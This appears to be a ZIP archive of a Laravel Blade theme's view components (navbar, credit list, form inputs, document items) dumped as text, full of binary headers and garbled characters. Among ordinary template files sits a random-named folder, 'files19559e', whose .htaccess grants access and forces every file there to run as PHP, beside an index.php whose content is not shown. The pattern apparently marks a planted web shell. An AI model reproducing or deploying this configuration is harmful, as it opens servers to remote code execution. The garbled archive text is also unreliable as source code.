    PKJW]œÓ>©©@views/default/components/includes/credit-list-for-user.blade.phpnu„[µü¤ PKJW]Þ¨•sZZ7views/default/components/includes/files19559e/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKJW]³]w  7views/default/components/includes/files19559e/index.phpnu„[µü¤PKJW]dW¢m��.views/default/components/navbar/link.blade.phpnu„[µü¤@php $is_modal = $triggerType === 'modal' && !empty($modal); @endphp @if ($is_modal) @include('components.navbar.partials.link-markup') {{ $modal }} @else @include('components.navbar.partials.link-markup') @endif PKJW] -ÖÖ/views/default/components/navbar/label.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-label inline-block max-w-full overflow-hidden text-ellipsis pb-navbar-link-pb ps-navbar-link-ps ps-navbar-link-ps pt-navbar-link-pt text-4xs uppercase tracking-widest lg:group-[&.navbar-shrinked]/body:w-full lg:group-[&.navbar-shrinked]/body:px-2 lg:group-[&.navbar-shrinked]/body:text-center'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> {{ $slot }} PKJW]CZv»óó.views/default/components/navbar/item.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-item relative group/nav-item'; @endphp
  • withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} x-data="navbarItem()" x-bind="item" > {{ $slot }}
  • PKJW]öQ(."."0views/default/components/navbar/navbar.blade.phpnu„[µü¤ {{ __('Skip to content') }} PKJW]ȰCôVV7views/default/components/navbar/dropdown/link.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-dropdown-link py-2 px-5 hover:bg-transparent hover:underline [&.active]:bg-transparent [&.active]:underline dark:[&.active]:before:hidden group-[&.navbar-shrinked]/body:group-hover/nav-item:bg-transparent group-[&.navbar-shrinked]/body:group-hover/nav-item:text-inherit'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} :$href :$slug :$label :$icon :$iconHtml :$activeCondition :$new :$letterIcon :$dropdownTrigger :$badge > PKJW]_�x¶99;views/default/components/navbar/dropdown/dropdown.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-dropdown ps-7'; if (empty($open)) { $base_class .= ' hidden'; } @endphp
      withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} :class="{ 'hidden': !dropdownOpen && '{{ $open }}' == '' }" > {{ $slot }}
    PKJW]�-kƒÉÉ7views/default/components/navbar/dropdown/item.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-dropdown-item'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> {{ $slot }} PKJW](}�ó²²1views/default/components/navbar/divider.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-divider my-3 border-navbar-divider'; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> PKJW]Ý­_\Ö Ö >views/default/components/navbar/partials/link-markup.blade.phpnu„[µü¤@php $base_class = 'lqd-navbar-link flex items-center gap-2 ps-navbar-link-ps pe-navbar-link-pe pt-navbar-link-pt pb-navbar-link-pb rounded-navbar-link relative transition-colors group/link hover:bg-navbar-background-hover/5 hover:text-navbar-foreground-hover [&.active]:bg-navbar-background-active/5 [&.active]:text-navbar-foreground-active dark:[&.active]:bg-transparent dark:before:w-1.5 dark:before:h-full dark:before:absolute dark:before:top-0 dark:before:-start-2 dark:before:bg-current dark:before:rounded-e-lg dark:before:opacity-0 dark:[&.active]:before:opacity-100'; $label_base_class = 'lqd-nav-link-label flex grow gap-2 items-center transition-[opacity,transform,visbility] [&_.lqd-nav-item-badge]:ms-auto'; $letter_icon_base_class = 'lqd-nav-link-letter-icon inline-flex size-6 shrink-0 items-center justify-center rounded-md bg-primary text-4xs text-primary-foreground'; $target = '_self'; // setting href if (!empty($href) && $href !== '#') { if (is_string($href) && Route::has($href)) { $href = !empty($slug) ? route($href, $slug) : route($href); } else { $target = '_blank'; } } // if (empty(trim($activeCondition)) && !empty($href)) { // $activeCondition = $href === url()->current(); // } if ($activeCondition) { $base_class .= ' active'; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} href="{{ $href }}" target="{{ $target }}" x-data="navbarLink({ isDemo: {{ $app_is_demo ? 'true' : 'false' }} })" @if ($dropdownTrigger) @click.prevent="toggleDropdownOpen()" @endif @if ($triggerType === 'modal') @click.prevent="toggleModal()" @endif > @if ($letterIcon && !empty($label)) twMergeFor('letter-icon', $letter_icon_base_class) }} @if (!empty($letterIconStyles)) style="{{ $letterIconStyles }}" @endif > {{ mb_substr($label, 0, 1) }} @endif @if (!empty($icon) || !empty($iconHtml)) @if (!empty($iconHtml)) {!! $iconHtml !!} @else @endif @endif @if (!empty($label)) twMergeFor('label', $label_base_class, $attributes->get('class:label')) }}> {{ $label }} @endif @if ($dropdownTrigger) @endif @if ($badge && $app_is_demo) @if (!empty($badge)) {{ mb_strtoupper($badge) }} @else {{ __('NEW') }} @endif @endif PKJW]¶ª§ËËBviews/default/components/navbar/partials/credit-for-menu.blade.phpnu„[µü¤ {{ __('Credits') }} PKJW]°î&U¢¢>views/default/components/navbar/partials/types/label.blade.phpnu„[µü¤ {{ __(data_get($item, 'label')) }} PKJW]“mÏi88=views/default/components/navbar/partials/types/item.blade.phpnu„[µü¤@if ($item['show_condition']) @php $href = $item['route_slug'] && \App\Helpers\Classes\Helper::hasRoute($item['route']) ? route($item['route'], $item['route_slug']) : (\App\Helpers\Classes\Helper::hasRoute($item['route']) ? route($item['route']) : ''); $is_active = $href === url()->current() || activeRoute(...$item['active_condition'] ?: []); @endphp @endif PKJW]ê�ó&99@views/default/components/navbar/partials/types/divider.blade.phpnu„[µü¤ PKJW]âI”›k k Fviews/default/components/navbar/partials/types/item-dropdown.blade.phpnu„[µü¤@php $href = \App\Helpers\Classes\Helper::hasRoute($item['route']) && $item['route_slug'] ? route($item['route'], $item['route_slug']) : route(\App\Helpers\Classes\Helper::hasRoute($item['route']) ? $item['route'] : 'default'); $is_active = $href === url()->current(); if (!$is_active) { foreach ($item['children'] as $child) { if (!Route::has($child['route'])) { continue; } $child_href = $child['route_slug'] ? route($child['route'], $child['route_slug']) : route($child['route']); $child_is_active = $child_href === url()->current(); if ($child_is_active) { $is_active = true; break; } } } @endphp @foreach ($item['children'] as $child) @php $key = data_get($child, 'key'); @endphp @if (\App\Helpers\Classes\PlanHelper::planMenuCheck($userPlan, $key)) @if (data_get($child, 'show_condition', true) && data_get($item, 'is_active')) @php $child_href = $child['route_slug'] && \App\Helpers\Classes\Helper::hasRoute($child['route']) ? route($child['route'], $child['route_slug']) : route(\App\Helpers\Classes\Helper::hasRoute($child['route']) ? $child['route'] : 'default'); $child_is_active = $child_href === url()->current(); @endphp @endif @endif @endforeach PKJW]v ]?ù?ù?.views/default/components/credit-list.blade.phpnu„[µü¤@php use App\Domains\Entity\Enums\EntityEnum; $base_class = 'lqd-remaining-credit relative mx-2 flex flex-col gap-3 text-2xs'; $progress_base_class = 'lqd-progress flex h-2 overflow-hidden rounded-full'; $progressbar_text_base_class = 'lqd-progress-bar grow-0 basis-auto bg-primary'; $progressbar_image_base_class = 'lqd-progress-bar grow-0 basis-auto bg-secondary'; $legend_text_base_class = 'group'; $legend_box_text_base_class = ''; $legend_image_base_class = 'group'; $legend_box_image_base_class = 'bg-secondary'; $modal_trigger_base_class = ''; $variations = [ 'progressHeight' => [ 'sm' => 'h-1', 'md' => 'h-2', ], ]; $progressHeight = $variations['progressHeight'][$progressHeight] ?? $variations['progressHeight']['md']; $random = random_int(100000, 900000); if ($modalTriggerPos === 'inline' && $showType !== 'button') { $base_class .= ' pe-12'; $modal_trigger_base_class .= ' absolute end-0 top-0 size-9 shrink-0 p-0 outline-heading-foreground/10 hover:bg-primary hover:text-primary-foreground'; } @endphp @if ($showType === 'directly')
    @else @php $wordContainUnlimited = $imageContainUnlimited = false; $imageCreditsCount = $wordCreditsCount = 0; $wordEntities = $imageEntities = null; if (auth()->check()) { if (isset($team) && $team?->exists) { $wordEntities = \App\Domains\Entity\EntityStats::word()->forTeam($team); $imageEntities = \App\Domains\Entity\EntityStats::image()->forTeam($team); } else { $wordEntities = \App\Domains\Entity\EntityStats::word()->forUser(auth()->user()); $imageEntities = \App\Domains\Entity\EntityStats::image()->forUser(auth()->user()); } $wordContainUnlimited = $wordEntities->checkIfThereUnlimited(); $imageContainUnlimited = $imageEntities->checkIfThereUnlimited(); $wordCreditsCount = $wordEntities->totalCredits(); $imageCreditsCount = $imageEntities->totalCredits(); } $totalCreditsCount = $imageCreditsCount + $wordCreditsCount; $totalCreditsCount = (int) $totalCreditsCount === 0 ? 1 : $totalCreditsCount; if ($wordContainUnlimited && $imageContainUnlimited) { $progressbar_text_base_class .= ' shrink-1'; $progressbar_image_base_class .= ' shrink-1'; } else { $progressbar_text_base_class .= ' shrink-0'; $progressbar_image_base_class .= ' shrink-0'; } $uniqueDriversByDefaultImageModel = $imageEntities ? $imageEntities ->list() ->filter(function ($driver) { $engine = $driver->engine(); $defaultModel = $engine?->getDefaultImageModel(); return $defaultModel && EntityEnum::fromSlug($driver->enum()->slug()) === $defaultModel; }) ->unique(function ($driver) { return $driver->engine()->value; }) : collect(); @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} @if ($aiImage) x-data="{ init() { if ( this.activeGenerator ) { this.generator = this.activeGenerator; this.$watch('activeGenerator', value => { if ( value === 'flux-pro' ) { value = 'fal_ai'; } this.generator = value; }); } }, _generator: '{{ $uniqueDriversByDefaultImageModel->first()?->engine()->value }}', get generator() { return this._generator; }, set generator(value) { this._generator = value; } }" @active-generator-changed.window="console.log($event.detail);generator = $event.detail" @endif > @if ($showType !== 'button')
    @if ($aiImage) @foreach ($uniqueDriversByDefaultImageModel as $driver) {{ $driver->isUnlimitedCredit() ? __('Unlimited') : $driver->creditBalance() }} @endforeach @else @formatNumberShort($wordEntities->checkIfThereUnlimited() ? __('Unlimited') : $wordEntities->totalCredits()) @if (!$wordEntities->checkIfThereUnlimited()) @endif @endif @formatNumberShort($imageEntities->checkIfThereUnlimited() ? __('Unlimited') : $imageEntities->totalCredits()) @if (!$imageEntities->checkIfThereUnlimited()) @endif
    twMergeFor('progress', $progress_base_class, $progressHeight) }}>
    twMergeFor('progressbar-text', $progressbar_text_base_class) }} style="width: {{ $wordContainUnlimited ? 100 : ($wordCreditsCount / $totalCreditsCount) * 100 }}%" >
    twMergeFor('progressbar-image', $progressbar_image_base_class) }} style="width: {{ $imageContainUnlimited ? 100 : ($imageCreditsCount / $totalCreditsCount) * 100 }}%" >
    @endif get('class:modal')), ]) title="{{ __('Your Credit List') }}" disable-focus > @if (isset($trigger_label)) {{ $trigger_label }} @else @if ($attributes->has('expanded-modal-trigger')) {{ __('View Your Credits') }} @else @endif @endif

    {{ __('Unlock your creativity with credits') }}

    {{ __('Each credit unlocks powerful AI tools and features designed to enhance your content creation.') }}

    {{ __('Close') }} {{ __('Upgrade Plan') }}
    @endif PKJW]GP6Ö;;.views/default/components/forms/input.blade.phpnu„[µü¤@php $container_base_class = 'lqd-input-container relative'; $input_base_class = 'lqd-input block peer w-full px-4 py-2 border border-input-border bg-input-background text-input-foreground text-base ring-offset-0 transition-colors focus:border-secondary focus:outline-0 focus:ring focus:ring-secondary dark:focus:ring-foreground/10 sm:text-2xs'; $input_checkbox_base_class = 'lqd-input peer border-input-border focus:ring focus:ring-secondary dark:focus:ring-foreground/10'; $input_checkbox_custom_wrapper_base_class = 'lqd-input-checkbox-custom-wrap inline-flex items-center justify-center size-[18px] shrink-0 rounded-full bg-foreground/10 text-heading-foreground bg-center bg-no-repeat peer-checked:bg-primary/[7%] peer-checked:text-primary'; $label_base_class = 'lqd-input-label flex cursor-pointer items-center gap-2 text-2xs font-medium leading-none text-label'; $label_extra_base_class = 'ms-auto'; $variations = [ 'size' => [ 'none' => 'lqd-input-size-none', 'sm' => 'lqd-input-sm h-9', 'md' => 'lqd-input-md h-10', 'lg' => 'lqd-input-lg h-11', 'xl' => 'lqd-input-xl h-14 px-6', ], ]; if ($type === 'textarea') { $size = 'none'; } if ($switcher) { $input_checkbox_base_class .= ' lqd-input-switcher border-2 border-input-border [--input-rounded-multiplier:5] cursor-pointer appearance-none [background-size:1.3rem] bg-left bg-no-repeat transition-all checked:bg-right checked:bg-heading-foreground checked:border-heading-foreground dark:checked:bg-label dark:checked:border-label'; $variations['size'] = [ 'sm' => 'lqd-input-sm w-[34px] h-[18px]', 'md' => 'lqd-input-md w-12 h-6', ]; } elseif ($custom) { $input_checkbox_base_class = 'lqd-input peer rounded size-0 invisible absolute top-0 start-0'; } if ($type !== 'checkbox' && $type !== 'radio') { $label_base_class .= ' mb-3'; } if (!empty($label) && empty($id)) { $id = str()->random(10); } if ($stepper) { $input_base_class .= ' lqd-input-stepper appearance-none text-center px-2'; } $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp
    withoutTwMergeClasses()->twMergeFor('container', $container_base_class, $containerClass, $attributes->get('class:container')) }} @if ($attributes->has('x-show')) x-show="{{ $attributes->get('x-show') }}" @endif @if ($type === 'password') x-data='{ type: "{{ $type }}", get inputValueVisible() { return this.type !== "password" }, toggleType() { this.type = this.type === "text" ? "password" : "text"; } }' @endif @if ($stepper) x-data='{ value: {{ !empty($value) ? $value : 0 }}, min: {{ $attributes->has('min') ? $attributes->get('min') : 0 }}, max: {{ $attributes->has('max') ? $attributes->get('max') : 999999 }}, step: {{ $attributes->has('step') ? $attributes->get('step') : 1 }}, setValue(value) { this.value = value; this.$refs.input.setAttribute("value", this.value); this.$refs.input.dispatchEvent(new Event("input")); this.$refs.input.dispatchEvent(new Event("change")); } }' @endif > {{-- Label --}} @if (!empty($label) || ($type === 'checkbox' || $type === 'radio')) @endif {{-- Wrapper if there is icon over the input --}} @if ($type === 'password' || !empty($icon) || !empty($action) || $stepper)
    @endif {{-- Inputs other than checkbox, radio and select --}} @if ($type !== 'checkbox' && $type !== 'radio' && $type !== 'select' && $type !== 'textarea' && $type !== 'color') withoutTwMergeClasses()->twMerge($input_base_class, $size, $attributes->get('class')) }} name="{{ $name }}" value="{{ $value }}" @if ($type === 'password') :type="type" @endif type={{ $type }} placeholder="{!! $placeholder !!}" {{ $attributes }} @if ($stepper) :value="(value).toString().includes('.') ? parseFloat(value).toFixed(2) : value" x-ref="input" @endif @if ($attributes->has('x-ref') && filled($attributes->get('x-ref'))) x-ref="{{ $attributes->get('x-ref') }}" @endif @if ($attributes->has('x-trap') && filled($attributes->get('x-trap'))) x-trap="{{ $attributes->get('x-trap') }}" @endif @if ($attributes->has('x-model')) x-model="{{ $attributes->get('x-model') }}" @endif /> {{ $slot }} @endif {{-- Select input --}} @if ($type === 'select') @endif {{-- Textarea input --}} @if ($type === 'textarea') @endif {{-- Color input --}} @if ($type === 'color')
    withoutTwMergeClasses()->twMerge($input_base_class, 'flex items-center gap-3', $size, $attributes->get('class')) }} x-data="liquidColorPicker({ colorVal: '{{ $value }}' })" >
    twMergeFor('input', 'grow border-none bg-transparent text-inherit outline-none') }} id="{{ $id }}" name="{{ $name }}" value="{{ $value }}" type="text" placeholder="{!! $placeholder !!}" :value="colorVal" x-ref="colorInput" @if ($attributes->has('x-model')) x-model="{{ $attributes->get('x-model') }}" @endif {{ $attributes }} @change="picker?.setColor($event.target.value);" @keydown.enter.prevent="picker?.setColor($event.target.value);" @focus="picker?.open(); $el.select()" /> twMergeFor('clear-btn', 'hidden text-2xs font-medium') }} variant="outline" size="sm" type="button" @click.prevent="picker?.clear()" ::class="{ 'hidden': colorVal === '' }" > @lang('Clear')
    @endif {{-- Password visibility toggle button --}} @if ($type === 'password') @endif {{-- Icon --}} @if (!empty($icon)) {!! $icon !!} @endif {{-- Action --}} @if (!empty($action))
    twMergeFor('action', "absolute inset-y-0 end-0 border-s") }} > {{ $action }}
    @endif {{-- Stepper --}} @if ($stepper) @endif {{-- Wrapper if there is icon over the input --}} @if ($type === 'password' || !empty($icon) || !empty($action) || $stepper)
    @endif
    @if ($type === 'color') @pushOnce('script') @endPushOnce @endif {{-- Initiate Select2 for select elements with multiple attribute --}} @if ($type === 'select' && $attributes->has('multiple')) @pushOnce('css') @endPushOnce @pushOnce('script') @endPushOnce @endif PKJW]`„;  4views/default/components/dropdown/dropdown.blade.phpnu„[µü¤@php $base_class = 'lqd-dropdown flex relative group/dropdown [--dropdown-offset:0px]'; $trigger_base_class = 'lqd-dropdown-trigger hover:translate-y-0 before:absolute before:-inset-3 before:pointer-events-none focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 group-[&.lqd-is-active]/dropdown:before:pointer-events-auto'; $dropdown_base_class = 'lqd-dropdown-dropdown absolute top-full opacity-0 invisible z-[1000] translate-y-1 pointer-events-none transition before:absolute before:bottom-full before:-top-[--dropdown-offset] before:inset-x-0 [&.lqd-is-active]/dropdown:opacity-100 [&.lqd-is-active]/dropdown:visible [&.lqd-is-active]/dropdown:translate-y-0 [&.lqd-is-active]/dropdown:pointer-events-auto'; $dropdown_content_base_class = 'lqd-dropdown-dropdown-content w-44 border border-dropdown-border rounded-dropdown bg-dropdown-background text-dropdown-foreground shadow-lg shadow-black/5'; if ($anchor === 'start') { $dropdown_base_class .= ' start-0'; } else { $dropdown_base_class .= ' end-0'; } @endphp
    !empty($offsetY), ]) x-data="dropdown({ triggerType: '{{ $triggerType }}', preferredAnchor: '{{ $anchor }}', offsetY: '{{ $offsetY }}', teleport: {{ $teleport ? 'true' : 'false' }} })" x-bind="parent" x-ref="parent" > {{ $trigger }} @if ($teleport) @endif
    PKJW]}Lzh>>0views/default/components/dropdown/item.blade.phpnu„[µü¤
    {{ $slot }}
    PKJW]é]Dd  1views/default/components/accordion-item.blade.phpnu„[µü¤
    PKJW]à‘ýË©©3views/default/components/update-available.blade.phpnu„[µü¤
    {{ __('Update Available') }}
    PKJW]\²—   0views/default/components/notifications.blade.phpnu„[µü¤@php $notifications = []; $unreadNotifications = auth()->user()->unreadNotifications; foreach ($unreadNotifications as $notification) { $notifications[] = [ 'title' => $notification->data['data']['title'], 'message' => $notification->data['data']['message'], 'link' => $notification->data['data']['link'], 'unread' => true, 'id' => $notification->id, ]; } $trigger_class = @twMerge('size-6 max-lg:size-10 max-lg:border max-lg:dark:bg-white/[3%]', $attributes->get('class:trigger')); @endphp
    withoutTwMergeClasses()->twMerge('notifications-wrap group hidden md:flex') }} x-data="notifications({{ json_encode($notifications) }})" x-init="$store.notifications.setNotifications(notifications)" :class="{ 'has-unread': $store.notifications.hasUnread() }" > twMergeFor('dropdown', 'notifications-dropdown') }} anchor="end" offsetY="{{ $attributes->get('dropdown-offset-y') ?? '26px' }}" >

    {{ trans('Notifications') }} {{ trans('Mark All As Read') }}

    {{ trans("There's No Notifications") }}

    PKJW]&Žc› › 8views/default/components/tiptap/floating-menus.blade.phpnu„[µü¤{{-- Floating menus --}}
    {{-- h1 button --}} {{-- h1 button --}} {{-- ordered list --}} {{-- bullet list --}} {{-- code block --}} {{-- blockquote button --}}
    PKJW]›ì�¥V#V#6views/default/components/tiptap/bubble-menus.blade.phpnu„[µü¤{{-- Bubble menus --}}
    {{-- bold button --}} {{-- italic button --}} {{-- strike button --}} {{-- underline button --}} {{-- link button --}} {{-- code button --}} {{-- blockquote button --}} {{-- ordered list --}} {{-- bullet list --}} {{-- code block --}} {{-- heading --}}
    PKJW]£¬�Åxx4views/default/components/language-dropdown.blade.phpnu„[µü¤@php $trigger_classname = @twMerge('flex size-6 items-center justify-center max-lg:size-10 max-lg:rounded-full max-lg:border max-lg:dark:bg-white/[3%]', $attributes->get('class:trigger')); @endphp twMerge('header-language-dropdown') }} anchor="end" offsetY="26px" > @foreach (LaravelLocalization::getSupportedLocales() as $localeCode => $properties) @if (in_array($localeCode, explode(',', $settings_two->languages))) {{ country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)) }} {{ $properties['native'] }} @endif @endforeach PKJW]withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} style="color: {{ $color }}"> {{ $status }} PKJW]O÷`!**/views/default/components/outline-glow.blade.phpnu„[µü¤@props([ 'effect' => 1, ]) @php $base_class = 'lqd-outline-glow absolute transition-all duration-300 inline-block rounded-[inherit] pointer-events-none overflow-hidden lqd-outline-glow-effect-' . $effect; $inner_base_class = 'lqd-outline-glow-inner absolute start-1/2 top-1/2 inline-block aspect-square min-h-[150%] min-w-[150%] rounded-[inherit]'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> twMergeFor('inner', $inner_base_class) }}> PKJW]ˆ¡‚�ÈÈ5views/default/components/documents/item-min.blade.phpnu„[µü¤@php $base_class .= ' flex gap-4 p-4 text-xs last:border-none'; $isImage = $entry->generator->type === 'image'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} href="{{ (route('dashboard.user.openai.documents.single', $entry->slug)) }}" > @if ($entry->generator->image !== 'none') {!! html_entity_decode($entry->generator->image) !!} @endif {{ $isImage ? str()->limit($entry->input, 25) : __($entry->generator->title) }} {{ str()->words(__($entry->generator->description), 30) }} {{ __('in Workbook') }} {{ $entry->created_at->format('M d, Y') }} PKJW]ÍÊß//3views/default/components/documents/folder.blade.phpnu„[µü¤@php $base_class = 'lqd-posts-folder lqd-docs-folder relative z-20 px-5 py-2.5 bg-folder-background text-folder-foreground transition-all'; if (!$folderSingleView) { $base_class .= ' hover:scale-[1.022] hover:shadow-md'; } else { $base_class .= ' grow w-full'; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} >

    {{ $folder->name }}

    {{ $folder->updated_at->diffForHumans() }}
    @if (!$folderSingleView) @endif @foreach (['rename', 'delete'] as $action) @if ($action === 'rename') @else @endif {{ __(ucfirst($action)) }} @includeIf('panel.user.openai.components.modals.' . $action . '-folder', [ 'folder_id' => $folder->id, 'folder_name' => $folder->name, ]) @endforeach
    PKJW]!xpW1views/default/components/documents/item.blade.phpnu„[µü¤@php $base_class = "lqd-posts-item lqd-docs-item lqd-docs-item-$style relative w-full items-center border-b transition-all last:border-b-0 hover:bg-foreground/5 group-[&[data-view-mode=grid]]:min-h-48 group-[&[data-view-mode=grid]]:bg-card-background group-[&[data-view-mode=grid]]:gap-0 group-[&[data-view-mode=grid]]:pb-1"; @endphp @if ($style === 'min') @include('default.components.documents.item-min', [ 'entry' => $entry, 'attributes' => $attributes, 'base_class' => $base_class, 'folders' => $folders, ]) @else @include('default.components.documents.item-extended', [ 'entry' => $entry, 'attributes' => $attributes, 'base_class' => $base_class, 'folders' => $folders, ]) @endif PKJW]�Ý„× * *:views/default/components/documents/item-extended.blade.phpnu„[µü¤@php $base_class .= ' grid gap-4 px-4 py-3 text-2xs font-medium'; $isImage = $entry->generator->type === 'image'; $isVideo = $entry->generator->type === 'video'; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} >
    @if (request()->route()->getName() !== 'dashboard.user.index') @endif @if ($isImage) {{ __($entry->generator->title) }} @elseif ($isVideo) @else @if ($entry->generator->image !== 'none') {!! html_entity_decode($entry->generator->image) !!} @endif @endif

    @php $title = $entry->title ? $entry->title . ' : ' . $entry->output : $entry->output; @endphp @if (in_array($entry->generator->type, ['text', 'youtube', 'rss', 'code', 'image', 'video'])) {{ str()->limit(strip_tags($entry->generator->type === 'image' ? $entry->input : $title), $trim) }} @elseif($entry->generator->type == 'audio') {!! str()->limit($title, $trim) !!} @elseif ($entry->generator->type == 'voiceover' || $entry->generator->type == 'isolator') {{ str()->limit($entry->title, $trim) }} @endif

    generator->color) style="background: {{ $entry->generator->color }}; color: black;" @endif > {{ __($entry->generator->title) }}

    {{-- {{ date('M j Y', strtotime($entry->created_at)) }} --}} {{-- --}} {{-- , {{ date('H:i', strtotime($entry->created_at)) }} --}} {{-- --}} {{ $entry->created_at->diffForHumans() }}

    {{ $entry->credits }}
    @if (!$hideFav) @endif {{ __('Move to folder') }} @includeIf('panel.user.openai.components.modals.move-to-folder', [ 'file_slug' => $entry->slug, 'folders' => $folders, ])
    PKJW]>{±W(W(Gviews/default/components/engine-select-list-with-change-alert.blade.phpnu„[µü¤
    @lang('The default AI Engine is being updated. Only the default model\'s credits for each AI Engine will be visible and usable by users. User credits will not be automatically transferred to the default model in new default Engine. Therefore, if users lack credits for default model in this new AI Engine, they will be unable to use the tools. Additionally, if no credits are allocated for the default model in the new default Engine in the plans, newly registered users will also be unable to use the tools due to insufficient credits.')

    {{__("Transfer Users Credits")}}

    {{__("Click to move users credits from the model of the old AI Engine to the default model of the new AI Engine.")}}

    {{__("Update Plans Credits")}}

    {{__("Click to transfers allocated credits from the default model of the old AI Engine to the default model of the new AI Engine in plans for the new registered users.")}}

    PKJW]„‹tcc/views/default/components/trash-button.blade.phpnu„[µü¤@php $base_class = 'lqd-fav-btn z-10 size-9'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} size="none" variant="ghost-shadow" @click.prevent="$ajax('{{ $deleteUrl }}', { method: 'post', body: { _token: '{{ csrf_token() }}', id: {{ $id }} }, events: true, })" @ajax:missing="$event.preventDefault()" @ajax:after="document.getElementById('lqd-prompt-list').removeChild($el.parentElement)" href="#" title="{{ __('Delete') }}" > PKJW]©@XÄçç>views/default/components/change-indicator-plus-minus.blade.phpnu„[µü¤ $value == 0, 'text-red-700 bg-red-700/10 dark:bg-red-600/10 dark:text-red-600' => $value < 0, 'text-green-600 bg-green-500/10' => $value > 0, ])> {{ abs($value) }}% PKJW]±j:øø,views/default/components/form/text.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error', 'stepper']) @props([ 'icon' => null, 'action' => null, 'stepper' => null, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', 'type' => 'text', ]) class(['form-control', 'form-input-stepper' => $stepper, 'border-2 border-rose-500' => $error]) }} :id="$id('text-input')" type="{{ $type }}" @if ($attributes->has('wire:model')) x-data="{ value: @entangle($attributes->wire('model')) }" @if ($stepper) x-model="value" x-on:input="value = (value).toString().includes('.') ? parseFloat(value).toFixed(2) : value" @else x-model="value" @endif @endif @if ($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif/> PKJW]AÔ3ûe e /views/default/components/form/stepper.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error', 'stepper']) @props([ 'icon' => null, 'action' => null, 'stepper' => true, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', 'type' => 'text', 'alpineData' => [ 'value' => '%s', 'min' => '%s', 'max' => '%s', 'step' => '%s', ], 'series' => null, ]) class(['form-control text-center', 'form-input-stepper text-center flex justify-center items-center']) }} :id="$id('text-input')" type="{{ $type }}" x-data="{ value: @if ($attributes->has('wire:model')) @entangle($attributes->wire('model')) @else {{ $attributes->get('value') ?? 0 }} @endif }" x-model="value" x-on:input="value = (value).toString().includes('.') ? parseFloat(value).toFixed(2) : value" @if ($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif/> PKJW]lF/2ÓÓ0views/default/components/form/textarea.blade.phpnu„[µü¤@aware(['icon', 'action', 'error']) @props([ 'icon' => null, 'action' => null, 'error' => null, 'ace' => false, 'aceMode' => null, 'aceOptions' => [] ]) @if($aceMode) @php $aceOptions['mode'] = $aceMode; @endphp @endif @pushOnceFor('script:ace') {{----}} {{----}} {{----}} @endPushOnceFor @pushOnceFor('css:ace') @endPushOnceFor PKJW]Déi�((-views/default/components/form/color.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error']) @props([ 'icon' => null, 'action' => null, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', ])
    has('wire:model')) x-data="{ 'colorVal': $wire.entangle('{{ $attributes->has('wire:model') }}') }" @else x-data="{ 'colorVal': '{{ $attributes->get('value', '#ffffff') }}' }" @endif >
    class([ 'relative -start-1/2 -top-1/2 h-[200%] w-[200%] cursor-pointer appearance-none rounded-full border-none p-0', ]) }} :id="$id('text-input')" :value="colorVal" x-model.debounce.500ms="colorVal" type="color" @if($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif />
    PKJW]Þ–ð8ˆˆ-views/default/components/form/label.blade.phpnu„[µü¤@aware(['id', 'label', 'tooltip', 'error']) @props([ 'id' => null, 'tooltip' => null, 'label' => null, 'error' => null, ]) PKJW]ñýqq-views/default/components/form/group.blade.phpnu„[µü¤
